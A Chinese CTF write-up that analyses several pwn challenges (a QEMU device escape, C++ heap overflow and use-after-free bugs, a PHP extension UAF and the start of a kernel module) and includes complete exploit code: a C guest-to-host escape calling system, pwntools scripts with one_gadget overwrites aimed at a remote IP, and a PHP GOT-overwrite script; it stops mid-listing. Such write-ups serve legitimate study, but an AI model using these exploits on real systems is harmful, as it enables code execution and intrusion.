d3dev

这里没有加monitor=/dev/null,所以可以直接通过CRTL_ALT_2进入控制台。

d3dev-revenge

qemu逃逸

分析

首先看一下启动脚本

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/sh
./qemu-system-x86_64 \
-L pc-bios/ \
-m 128M \
-kernel vmlinuz \
-initrd rootfs.img \
-smp 1 \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr quiet" \
-device d3dev \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-monitor /dev/null

我们看到这里的device的名称是d3devida看一下相关的函数,发现存在mmio/pmio两种方式,分别分析一下,首先看一下pmio_read

1
2
3
4
5
6
7
8
9
10
uint64_t __fastcall d3dev_pmio_read(void *opaque, hwaddr addr, unsigned int size)
{
uint64_t result; // rax

if ( addr > 0x18 )
result = -1LL;
else
result = ((__int64 (__fastcall *)(void *))((char *)dword_7ADF30 + dword_7ADF30[addr]))(opaque);
return result;
}

这里看发生了一个未知的调用,采用的应该是函数表的形式,不过这里不重要,接下来看一下pmio_write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr cmd, uint64_t val, unsigned int size)
{
uint32_t *v4; // rbp

if ( cmd == 8 )
{
if ( val <= 0x100 )
opaque->seek = val; // 设定seek
}
else if ( cmd > 8 )
{
if ( cmd == 0x1C ) // 随机生成key
{
opaque->r_seed = val;
v4 = opaque->key;
do
*v4++ = ((__int64 (__fastcall *)(uint32_t *, __int64, uint64_t, _QWORD))opaque->rand_r)(
&opaque->r_seed,
0x1CLL,
val,
*(_QWORD *)&size);
while ( v4 != (uint32_t *)&opaque->rand_r );
}
}
else if ( cmd )
{
if ( cmd == 4 ) // 清空两个key
{
*(_QWORD *)opaque->key = 0LL;
*(_QWORD *)&opaque->key[2] = 0LL;
}
}
else
{
opaque->memory_mode = val;
}
}

这里涉及到了d3devState数据结构,看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
00000000 d3devState      struc ; (sizeof=0x1300, align=0x10, copyof_4545)
00000000 pdev PCIDevice_0 ?
000008E0 mmio MemoryRegion_0 ?
000009D0 pmio MemoryRegion_0 ?
00000AC0 memory_mode dd ?
00000AC4 seek dd ?
00000AC8 init_flag dd ?
00000ACC mmio_read_part dd ?
00000AD0 mmio_write_part dd ?
00000AD4 r_seed dd ?
00000AD8 blocks dq 257 dup(?)
000012E0 key dd 4 dup(?)
000012F0 rand_r dq ? ; offset
000012F8 db ? ; undefined
000012F9 db ? ; undefined
000012FA db ? ; undefined
000012FB db ? ; undefined
000012FC db ? ; undefined
000012FD db ? ; undefined
000012FE db ? ; undefined
000012FF db ? ; undefined
00001300 d3devState ends

这里是根据cmd的值来达到不同的功能

  • cmd=8,设定seek的值,这里的seek<0x100
  • cmd=0x1c,更新加解密所需要的key,这里是直接调用的数据结构中的rand_r函数指针来完成的
  • cmd=4,这里清空了key,所有的key均为0,注意到这里其实我们就可以实现加解密了,因为所有的key都是0

接下来看一下mmio_read

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
uint64_t __fastcall d3dev_mmio_read(d3devState *opaque, hwaddr addr, unsigned int size)
{
uint64_t v; // rax
int sum; // esi
unsigned int v1; // ecx
uint64_t v0; // rax

v = opaque->blocks[opaque->seek + (unsigned int)(addr >> 3)];
sum = 0xC6EF3720;
v1 = v;
v0 = HIDWORD(v);
do
{
LODWORD(v0) = v0 - ((v1 + sum) ^ (opaque->key[3] + (v1 >> 5)) ^ (opaque->key[2] + 16 * v1));
v1 -= (v0 + sum) ^ (opaque->key[1] + ((unsigned int)v0 >> 5)) ^ (opaque->key[0] + 16 * v0);
sum += 0x61C88647;
}
while ( sum );
if ( opaque->mmio_read_part )
{
opaque->mmio_read_part = 0;
v0 = (unsigned int)v0;
}
else
{
opaque->mmio_read_part = 1;
v0 = v1;
}
return v0;
}

这里是根据输入的addr>>3作为offset读取blocks中的相关内容,读取的内容进行了加密处理,很容易可以看出来这里的加密算法是tea的解密算法。tea的加解密算法可以参考这里

需要注意的这里需要读取两次才能够获得完整的加密8字节数据。接下来看一下mmio_write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
void __fastcall d3dev_mmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
__int64 offset; // rsi
ObjectClass_0 **opaque_address; // r11
uint64_t v6; // rdx
int v7; // esi
uint32_t key0; // er10
uint32_t key1; // er9
uint32_t key2; // er8
uint32_t key3; // edi
unsigned int v12; // ecx
uint64_t result; // rax

if ( size == 4 )
{
offset = opaque->seek + (unsigned int)(addr >> 3);
if ( opaque->mmio_write_part )
{
opaque_address = &opaque->pdev.qdev.parent_obj.class + offset;
v6 = val << 32;
v7 = 0;
opaque->mmio_write_part = 0;
key0 = opaque->key[0];
key1 = opaque->key[1];
key2 = opaque->key[2];
key3 = opaque->key[3];
v12 = v6 + *((_DWORD *)opaque_address + 0x2B6);
result = ((unsigned __int64)opaque_address[0x15B] + v6) >> 32;
do
{
v7 -= 0x61C88647;
v12 += (v7 + result) ^ (key1 + ((unsigned int)result >> 5)) ^ (key0 + 16 * result);
LODWORD(result) = ((v7 + v12) ^ (key3 + (v12 >> 5)) ^ (key2 + 16 * v12)) + result;
}
while ( v7 != 0xC6EF3720 );
opaque_address[0x15B] = (ObjectClass_0 *)__PAIR64__(result, v12);
}
else
{
opaque->mmio_write_part = 1;
opaque->blocks[offset] = (unsigned int)val;
}
}
}

这里与mmio_read类似,虽然这里的ida反汇编显示有点问题,但是根据调试可以知道这里的功能就是将用户输入的数据进行解密。解密算法就是tea的加密算法(反向理解也可以,写入加密,读取解密)将解密后的数据写入到blocks[seek+offset]中。这里也提供了直接写入的 分支,不过只能写入四子节。

利用

这里可以很明显的发现一个索引越界漏洞,即seek最大为0x100,但是对用户输入的offset没有进行限制,而blocks的大小为0x101,也就是这里可以直接越界对d3devState结构体进行读写。

很容易的我们发现可以读取器中的rand_r函数指针泄漏出libc的基址,进而得到system的地址,然后可以将rand_r函数指针覆写为system,之后在进行pmio_write中调用rand_r函数指针即可执行命令。

按照后门函数的调用逻辑,命令参数只能写到seed的位置,而注意到seedblocks位置相邻,因此我们可以利用字符串拼接的方法执行任意长度的cmd,这里将seed写为ls &而真正执行的命令在blocks[0]位置处。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>

unsigned char* mmio_mem;
uint32_t mmio_addr = 0xfebf1000;
uint32_t mmio_size = 0x800;
int32_t pmio_base = 0xc040;

void die(const char* msg)
{
perror(msg);
exit(-1);
}

void* mem_map( const char* dev, size_t offset, size_t size )
{
int fd = open( dev, O_RDWR | O_SYNC );
if ( fd == -1 ) {
return 0;
}

void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, offset );

if ( !result ) {
return 0;
}

close( fd );
return result;
}

void mmio_write(uint64_t addr, uint64_t value, int choice)
{
if (choice == 0){
*((uint8_t*)(mmio_mem + addr)) = value;
}
else if (choice == 1){
*((uint16_t*)(mmio_mem + addr)) = value;
}
else if (choice == 2){
*((uint32_t*)(mmio_mem + addr)) = value;
}
else if (choice == 3){
*((uint64_t*)(mmio_mem + addr)) = value;
}
}

uint64_t mmio_read(uint32_t addr, int choice)
{
if(choice == 0){
return *((uint8_t*)(mmio_mem + addr));
}
else if(choice == 1){
return *((uint16_t*)(mmio_mem + addr));
}
else if(choice == 2){
return *((uint32_t*)(mmio_mem + addr));
}
else if(choice == 3){
return *((uint64_t*)(mmio_mem + addr));
}
}

void pmio_write(uint32_t addr, uint32_t value)
{
outl(value,pmio_base + addr);
}

uint8_t pmio_read(uint32_t addr)
{
return (uint32_t)inl(pmio_base + addr);
}
//加密函数
void my_tea_encrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1];
int sum=0xC6EF3720, i; /* set up */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
do{
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
sum += 0x61C88647;
}while(sum); /* end cycle */
v[0]=v0; v[1]=v1;
}
//解密函数
void my_tea_decrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1];
int sum=0, i; /* set up */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
do{
sum -= 0x61C88647;
v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
}while(sum != 0xC6EF3720); /* end cycle */
v[0]=v0; v[1]=v1;
}


int main(){
system( "mknod -m 660 /dev/mem c 1 1" );

mmio_mem = mem_map("/dev/mem", mmio_addr, mmio_size);
if (!mmio_mem){
die("mmio or vga mmap failed");
}
printf("get process address\n");
if(iopl(3)!=0){
printf("iopl 3 failed\n");
exit(0);
}
pmio_write(4, 0);
pmio_write(8, 0x100);

uint32_t res[2];

res[0] = mmio_read(3 << 3, 2);
res[1] = mmio_read(3 << 3, 2);
printf("%p %p\n", res[0], res[1]);

uint32_t key[4] = {0};
my_tea_decrypt(res, key);
printf("%p %p\n", res[0], res[1]);
uint64_t randr_address = ((uint64_t )res[1]) << 32;
randr_address += res[0];
printf("rand address is %p\n", randr_address);

uint64_t libc_address = randr_address - 0x4aeb0;
uint64_t system_address = libc_address + 0x55410;
printf("system address is %p\n", system_address);

res[0] = system_address & 0xffffffff;
res[1] = system_address >> 32;
my_tea_encrypt(res, key);
uint64_t en_system_address = ((uint64_t )res[1]) << 32;
en_system_address += res[0];
printf("enc system address is %p\n", en_system_address);
getchar();
mmio_write(3 << 3, en_system_address, 3);

res[1] = 0x67616c66;
res[0] = 0x20746163;
my_tea_encrypt(res, key);
uint64_t enc_sh = ((uint64_t )res[1]) << 32;
enc_sh += res[0];
pmio_write(8, 0);
mmio_write(0, enc_sh , 3);

pmio_write(0x1c, 0x2620736c);
}

Truth

分析

直接给出了源代码,程序提供了四种功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
while (1)
{
menu();
cin >> choice;
switch (choice)
{
case 1:
char temp;
cout << "Please input file's content" << endl;
while (read(STDIN_FILENO, &temp, 1) && temp != '\xff')
{
xmlContent.push_back(temp);
}
xmlfile.parseXml(xmlContent);
break;

case 2:
cout << "Please input the node name which you want to edit" << endl;
cin >> nodeName >> content;
xmlfile.editXML(nodeName, content);
break;

case 3:
pnode(*xmlfile.node->begin(), "");
break;

case 4:
cout << "MEME" << endl;
cin >> nodeName;
if (auto temp = pnode(*xmlfile.node->begin(), "", nodeName))
temp->meme(temp->backup);
break;

default:
break;
}

这里大致说一下,首先是parseXML函数,函数会根据xml的格式依次递归解析,每个标签都是一个node,用结构体XML_NODE来进行表示。在parse过程中最值得注意的就是XML_NODE::parseNodeContents中的处理逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
while (*current)
{
switch (*current)
{
/*
case CHARACTACTERS::LT:
case CHARACTACTERS::NEWLINE:
case CHARACTACTERS::BLANK:
*/
default:
{
auto lt = iterFind(current, CHARACTACTERS::LT);
data = std::make_shared <std::string>(current, lt);
backup = (char*)malloc(0x50);
current = lt;
break;
}

}
}

该函数在处理完标签的左半部分的时候发生调用如果没有遇到上述的三种情况也就是<\n,空格三种字符的情况下就会进行堆块的分配,这里共分配了两个堆块,第一个我称之为content堆块,该堆块的大小由当前字符到最近的一个<之间的距离决定,第二个是固定的堆块为backup

接下来看一下edit函数,首先根据用户输入的名称找到对应的Node结构体,接着检查了node->data中的字符的长度

1
2
3
4
5
6
7
8
char* XML_NODE::isInsertable(int x)
{
if (x > 0x50 || x < 0)
{
return nullptr;
}
return backup;
}

即需要小于0x50,接着就会将data中的数据拷贝到backup中,并将data更新为用户输入的content

1
2
3
4
5
for (int i = 0; i < a->data->length(); i++)
{
a->backup[i] = (*a->data)[i];
}
*(a->data) = content;

接着看一下第三个功能也就是show函数,这里通过pnode函数打印出了用户指定的Node结构体的内容,包含xml中的属性字段以及data

接着就是最后一个函数,类似于一个后门函数,调用了结构体中的一个函数指针,打印出了backup的内容

利用

这里可能是优化导致的问题,edit函数中的针对data的长度检查失效了,导致用户针对backup可以任意长度的堆溢出。而从调试中我们可以发现如果我们输入下面的XMLbackup堆块相邻的位置存在一个node结构体

1
2
3
4
5
6
<Lin 1="111">
data
<Lin2>
/bin/sh
</Lin2>
</Lin>

也就是backup堆块与Lin2结构体相邻。这里我们就可以直接覆写结构体了,一个Node结构体的布局如下

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/30gx 0xab0c30-0x20
0xab0c10: 0x0000000000000000 0x00000000000000a1
0xab0c20: 0x00000000004054e0 0x0000000100000002
0xab0c30: 0x0000000000405340(meme函数指针存储地址) 0x0000000000ab0c48 堆地址
0xab0c40: 0x0000000000000003 0x00007fff006e694c
0xab0c50: 0x00007fffec193a00 0x0000000000000000
0xab0c60: 0x0000000000000000 0x0000000000ab11d0
0xab0c70: 0x0000000000ab11d0 0x0000000000ab11d0
0xab0c80: 0x0000000000000001 0x0000000000ab0e40
0xab0c90: 0x0000000000ab0e30 0x0000000000ab1390
0xab0ca0: 0x0000000000ab1380 0x0000000000ab0f00(backup)

根据结构体中的指针泄漏得到heap address,接着覆写结构体中的函数指针,利用第四个函数getshell

这里还差一个libc基地址的泄露。这里也可以根据backup得到,在data = std::make_shared <std::string>(current, lt);语句执行完毕之后会产生一个和data大小相同的堆块,如果此堆块为unsorted bin,那么我们可以直接通过打印backup来泄漏得到libc基地址。

在将函数指针覆写为gadget的时候遇到了一个问题就是所有的gadget都无法实现,但是经过调试发现rsp+0x60(这里对应的gadget的条件是rsp+0x70=NULL,环境变量的参数,由于call会压入返回地址因此是0x68)部分存储的是Node的名称,一共是0x10子节,也就是rsp+0x68部分存储的是Node名称的后半段,是一个非法的地址,需要注意的是这里的rsp+0x70=NULL并不一定要求该位置一定为NULL而是一个合法的指针数组即可(数组起始到结束包含的指针均合法,并且以NULL结尾)

因此这里可以将Node的名称缩短至四子节,使得rsp+0x68=NULL,也就是gadget执行的时候rsp+0x70=NULL,从而成功执行execve

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
	# encoding=utf-8
from pwn import *

file_path = "./Truth"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
gdb.attach(p)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = [0x45226, 0x4527a, 0xf0364, 0xf1207]

else:
p = remote('106.14.216.214', 45116)
libc = ELF('./libc-2.23.so')
one_gadget = [0x45226, 0x4527a, 0xf0364, 0xf1207]


def parse(file_content):
p.sendlineafter("Choice: ", "1")
p.sendafter("file's content\n", file_content)
p.sendline("\xff")


def edit(name, content):
p.sendlineafter("Choice: ", "2")
p.sendlineafter("to edit\n", name)
p.sendline(content)


def show():
p.sendlineafter("Choice: ", "3")


def show_backup(name):
p.sendlineafter("Choice: ", "4")
p.sendlineafter("MEME", name)


file_content = '''
<?xml?>

<Lin 1="{}">
<Lin2>
/bin/sh
</Lin2>
<Lin3>
/bin/sh
</Lin3>
'''.format("a"*0x500)
file_content += "a" * 0x70 + "b"*0x7
file_content += '''
<Lin4>
/bin/sh
</Lin4>
</Lin>
'''

parse(file_content)
show_backup("Lin")
p.recvuntil("Useless")
libc.address = u64(p.recvline().strip().ljust(8, b"\x00")) - 88 - 0x10 - libc.sym['__malloc_hook']
log.success("libc address is {}".format(hex(libc.address)))

edit("Lin", "1212")
show_backup("Lin")
p.recvuntil("b" * 0x7)
p.recvline()
heap_address = u64(p.recvline().strip().ljust(8, b"\x00"))
log.success("heap address is {}".format(hex(heap_address)))

edit("Lin3", b"/bin/sh\x00" + p64(one_gadget[3] + libc.address))
edit("Lin3", b"/bin/sh\x00" + p64(one_gadget[3] + libc.address))

payload = b"a"*0x70 + p64(heap_address- 0x1e0)
edit("Lin", payload)
edit("Lin", payload)

show_backup("Lin4")

p.interactive()

狡兔三窟

分析

是个cpppwn,首先看一下ida,程序中包含两个重要的结构体如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
00000000 total_node      struc ; (sizeof=0x18, mappedto_13)
00000000 note1 dq ?
00000008 note2 dq ?
00000010 backup dq ?
00000018 total_node ends
00000018
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 node struc ; (sizeof=0x28, mappedto_14)
00000000 func_ptr dq ?
00000008 is_cleared dq ?
00000010 vector_start dq ?
00000018 vector_current dq ?
00000020 vector_end dq ?
00000028 node ends

total_node的结构体对应的是NoteStorageImplnode结构体对应的是NoteImpl,其中total_node中的每一个nodenode结构体的一个实例,backup包含两个成员变量,其中第一个表明node是否被删除,第二个成员变量指向一个note结构体。

程序一共提供了六种功能,首先看一下editHouse,首先判断note1是否被删除(通过bool函数判断),如果被删除则针对note2调用add函数,add函数首先会判断用户是否会调用clear,该函数只能调用一次,作用就是将vector_current指针指向vector_start即指向vector的开头。接着将用户输入的内容压入vector,空间扩展操作和vector类似,如果空间不够即vector_end == vector_curret则申请两倍大小的空间(这里的两倍的大小是根据vector_end-vector_current计算的),释放原始空间。

接着是save_house,函数实际上调用的是shrik_to_fit函数,函数的作用就是缩小vector的内存空间。会申请一个vecotr_current-vector_start大小的内存空间,将vector中的内容拷贝之后释放原空间,并将vector_end=vector_current,也就是说下一次push的时候会触发vector的扩容。

接着就是backup函数,该函数只能针对note1进行备份。也就是第二个成员变量指向note1

接着就是encourage函数,该函数如果判断note1被删除了之后,会调用backup中指向的note结构体的func_ptr即函数指针

接着就是delHouse函数,函数的作用是删除note,但是只能在backup调用之后针对note1进行删除。删除会清空total_note中的note1指针,释放note结构体,该结构体的大小为0x350

最后就是show函数,函数会打印backup结构体中的note指针指向的结构体的第一个成员变量也就是函数指针的内容,但是需要注意的是这里show函数也是需要note1删除之后才能进行调用的。

利用

漏洞是一个UAF,由处理逻辑导致的,即showencourage函数会经过backup处理删除之后的note1的结构体堆块。

首先考虑的就是show函数的调用导致的信息泄漏,正常情况下删除note结构体的时候,结构体所在的堆块会存储到tcache中,第一个成员变量会被覆写为0,也就是说再调用show函数无法输出任何的东西。并且我们无法任意次数的释放指定大小的堆块,因此无法通过这个堆块泄漏出libc地址。

只能首先释放一个0x350大小的结构体,之后再删除note结构体,从而泄漏出堆地址。这里采用的释放指定大小的堆块的方式是通过shrik_to_fit函数和vector的两次扩容实现的。假设我们要释放size大小的堆块,那么首先add((size-0x10)/2),再调用shrik_to_fit函数,此时堆块的大小就会缩减为(size-0x10)/2 + 0x10大小,也就是指定大小的一半,接着再次add相同大小的内容,那么在push第一个字节的时候vector就会触发扩容操作,此时申请得到指定size大小的堆块,在push最后一个字节的时候又会触发一次扩容操作,此时会释放size大小的堆块而申请size*2的堆块

那么在进行note删除的时候就会释放结构体堆块,也就是0x350的堆块,此时由于tcache中有一个堆块了,因此这里第一个成员变量会被覆写为堆地址,也就是我们可以泄漏得到堆地址了。

做到泄漏堆地址之后libc地址的泄漏就好多了,还是利用相同的方法,在对note2进行add的时候申请指定大小的堆块即0x350大小的堆块,注意到此时申请的堆块就是note1的结构体堆块,调试过程中发现结构体偏移0x1b0位置残留有一个malloc的函数指针,利用字符串拼接和show函数泄漏该指针即可。

在得到libc基地址和heap地址之后就可以调用clear函数将vector_current指针指向vector_start位置,也就是note1结构体的函数指针位置,覆写该指针为gadget,调用即可getshell

这里远程和本地的堆偏移好像不太一样相差了0xc00,不知道为什么。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
# encoding=utf-8
from pwn import *

file_path = "./easycpp"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process([file_path])
# gdb.attach(p, "source gdb_dbg")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = [0x4f3d5, 0x4f432, 0x10a41c, 0xe5617, 0xe561e, 0xe5622, 0x10a428]


else:
p = remote('106.14.216.214', 27807)
libc = ELF('./libc-2.27.so')
one_gadget = [0x4f3d5, 0x4f432, 0x10a41c, 0xe5617, 0xe561e, 0xe5622, 0x10a428]


def add(content, is_clear=False):
p.sendlineafter(">> ", "1")
if is_clear:
p.sendlineafter("to clear it?(y/N)", "y")
else:
p.sendlineafter("to clear it?(y/N)", "N")
p.recvuntil("(q to quit):")
for i in content:
p.sendline(i)
p.sendline("q")


def save():
p.sendlineafter(">> ", "2")


def backup():
p.sendlineafter(">> ", "3")


def encourage():
p.sendlineafter(">> ", "4")


def delete():
p.sendlineafter(">> ", "5")


def show():
p.sendlineafter(">> ", "6")


# 0x55555576de60

content = []
for i in range(0x1a0):
content.append("1")

add(content)
backup()
save()
for i in range(0x1a0):
content.append("1")
add(content)
delete()
show()
heap_address = u64(p.recvline().strip().ljust(8, b"\x00"))

content = []
for i in range(0x1a0):
content.append("1")
add(content)
save()
content = []
for i in range(0x10):
content.append("1")
for i in range(8):
content.append("2")
add(content)
show()
p.recvuntil("2"*0x8)
libc.address = u64(p.recvline().strip().ljust(8, b"\x00")) - libc.sym['malloc']
log.success("heap address is {}".format(hex(heap_address)))
log.success("libc address is {}".format(hex(libc.address)))

content = []
content.append(p64(heap_address - 0x2230 + 0x8 - 0xc00))
content.append(p64(one_gadget[2] + libc.address))
# content.append(p64(libc.sym['puts']))
add(content, True)
# gdb.attach(p, "source gdb_dbg")

encourage()
p.interactive()

# # 0x55555576de60
# content = []
# for i in range(0x1a0):
# content.append("1")
# add(content)
#
# backup()
# delete()
#
# content = []
# for i in range(0x1a0):
# content.append("1")
# add(content)
# save()
# add(content)
#
# encourage()
# p.interactive()

hackphp

分析

这是一个webpwn,程序给出了四种功能分别是add,delete,edit,get。其中add函数的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void __fastcall zif_hackphp_create(zend_execute_data *execute_data, zval *return_value)
{
__int64 v2; // rdi
__int64 size[3]; // [rsp+0h] [rbp-18h] BYREF

v2 = execute_data->This.u2.next;
size[1] = __readfsqword(0x28u);
if ( (unsigned int)zend_parse_parameters(v2, &unk_2000, size) != -1 )
{
buf = (char *)_emalloc(size[0]);
buf_size = size[0];
if ( buf )
{
if ( (unsigned __int64)(size[0] - 0x100) <= 0x100 )
{
return_value->u1.type_info = 3;
return;
}
_efree();
}
}
return_value->u1.type_info = 2;
}

这里的buf是全局变量,然后可以看到这里在将申请的堆块的地址写入到buf位置之后又将申请得到的堆块释放掉了,因此之后会存在一个UAF漏洞。

php中的空闲堆块的管理也是存在一个全局链表,相同大小的堆块释放之后就会存储到链表中,通过fd进行连接。因此这里我们可以利用UAF将堆块分配到_efree.got表位置,覆写其地址为system的地址,之后就可以执行readflag程序了。

但是这里使用其给出的add函数无法达到效果,因此其总是先申请之后再进行释放,也就是相同大小永远只申请第一个堆块。因此这里我们需要首先消耗掉一个堆块。这里采用的是str_repeat函数,该函数会申请我们传入参数长度大小的堆块。那么这里我们先使用edit函数覆写fd指针指向_efree.got的位置,接着连续申请两次并在第二次参数设置为为system即可覆写了。

这里还有个libc/elf基地址的问题,一般来说在webpwn中都可以直接加载/proc/self/maps直接得到地址。

调试技巧

参考

当我们启动php执行我们的脚本即gdb exp.php的时候如果直接设定参数运行无法下断点,因为此时hackphp.so还没有加载进来,我们遵循的方法就是

1
2
3
gdb php
> run
> crtl + c (signal 2)

也就是说首先是run,此时php在等待我们的输入,这时输入crtl + c,那么此时就会断下来,并且此时已经加载了hackphp.so了。此时在设置参数set args exp.php,设置断点,再run,那么再次运行就会保留上次的断点,也就可以断下了

改题目中的source文件如下

1
2
3
4
5
6
7
run
b zif_hackphp_create
b zif_hackphp_get
b zif_hackphp_edit
b zif_hackphp_delete
set args exp.php
r

启动之后source gdb_dbg, 之后再crtl + c就可以成功断下了。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php

$ret = "";
function s2i($s) {
$result = 0;
for ($x = 0;$x < strlen($s);$x++) {
$result <<= 8;
$result |= ord($s[$x]);
}
return $result;
}

function i2s($i, $x = 8) {
$re = "";
for($j = 0;$j < $x;$j++) {
$re .= chr($i & 0xff);
$i >>= 8;
}
return $re;
}
function callback($buffer){
global $ret,$sys;
$pattern1 = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/x86_64-linux-gnu\/libc-2.31.so/';
$pattern = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-20190902\/hackphp.so/';
preg_match_all($pattern, $buffer, $ret);
preg_match_all($pattern1, $buffer, $sys);
return "";
}
ob_start("callback");
include "/proc/self/maps";
ob_end_flush();
$base = hexdec($ret[1][0]);
$libc = hexdec($sys[1][0]);

hackphp_create(0x210);
$data=i2s($base + 0x4178-0x20);
hackphp_edit($data);
$data=str_repeat("b",0x210-0x20);
$data=str_repeat(i2s($base+0x4070),(0x210-0x20)/8);
// sleep(5);
hackphp_edit(i2s($libc+0x55410));
hackphp_create(0x108);
hackphp_edit('/readflag');
hackphp_delete();

?>

liproll

kernelpwn

分析

首先我们看一下启动的脚本

1
2
3
4
5
6
7
8
9
10
11
#!/bin/sh

qemu-system-x86_64 \
-kernel ./bzImage \
-append "console=ttyS0 root=/dev/ram rw oops=panic panic=1 quiet kaslr" \
-initrd ./rootfs.cpio \
-nographic \
-m 2G \
-s \
-smp cores=2,threads=2,sockets=1 \
-monitor /dev/null

开启了kaslr,解压rootfs.cpio,看到其中的init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/sh

mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
chown -R root:root /bin /usr /root

echo "flag{this_is_a_test_flag}" > /root/flag
chmod -R 400 /root
chmod -R o-r /proc/kallsyms
chmod -R 755 /bin /usr

cat /root/banner
insmod /liproll.ko

chmod 777 /dev/liproll

setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
poweroff -d 1800000 -f &
umount /proc
umount /sys

poweroff -d 0 -f

也就是说liproll.ko就是包含漏洞的模块了,用ida分析一下,该模块提供了一些基本的函数,首先我们来看一下ioctl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
__int64 __fastcall liproll_unlocked_ioctl(__int64 a1, unsigned int a2, __int64 a3)
{
__int64 result; // rax

if ( a2 == 0xD3C7F03 )
{
add();
result = 0LL;
}
else if ( a2 > 0xD3C7F03 )
{
if ( a2 != 0xD3C7F04 )
return 0LL;
show(a3);
result = 0LL;
}
else
{
if ( a2 != 0xD3C7F01 )
{
if ( a2 == 0xD3C7F02 )
{
global_buffer = 0LL;
*(&global_buffer + 1) = 0LL;
}
return 0LL;
}
cast_a_spell(a3);
result = 0LL;
}
return result;
}

根据传入的cmd的不同调用了不同的函数。我们依次来看一下,首先是add函数,也就是create_a_spell函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 create_a_spell()
{
__int64 v0; // rax
__int64 index; // rbx
__int64 result; // rax

v0 = 0LL;
while ( 1 )
{
index = (int)v0;
if ( !lists[v0] )
break;
if ( ++v0 == 0x10 )
return printk("[-] Full!\n");
}
result = kmem_cache_alloc_trace(kmalloc_caches[8], 0xCC0LL, 0x100LL);
